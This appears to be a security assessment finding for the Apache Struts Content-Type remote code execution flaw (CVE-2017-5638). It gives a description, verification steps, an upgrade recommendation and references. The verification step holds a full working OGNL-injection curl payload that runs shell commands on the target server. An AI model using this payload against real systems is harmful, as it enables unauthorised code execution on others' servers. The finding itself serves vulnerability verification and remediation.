1. Nessus Description
The version of Apache Struts running on the remote host is affected by a remote code execution vulnerability in the Jakarta Multipart parser due to improper handling of the Content-Type header. An unauthenticated, remote attacker can exploit this, via a specially crafted Content-Type header value in the HTTP request, to potentially execute arbitrary code, subject to the privileges of the web server user.
2. Example of the vulnerable link
1) https://x.x.x.x:8443/service/login.action.
3. Verification Steps
1) Below command shows the result of ifconfig command on the remote host:
curl --header "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','ipconfig','/all'}:{'bash','-c','ifconfig'})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" https://x.x.x.x:8443/service/login.action --insecure
|
4. Metasploit module
5. Recommendation
1) Upgrade to Apache Struts version 2.3.32 / 2.5.10.1 or later.
2) Alternatively, apply the workaround referenced in the vendor advisory.
6. References:
1) https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1
2) https://cwiki.apache.org/confluence/display/WW/S2-045
3) http://www.securityfocus.com/bid/96729
4) http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-5638
5) https://www.rapid7.com/db/modules/exploit/multi/http/struts2_content_type_ognl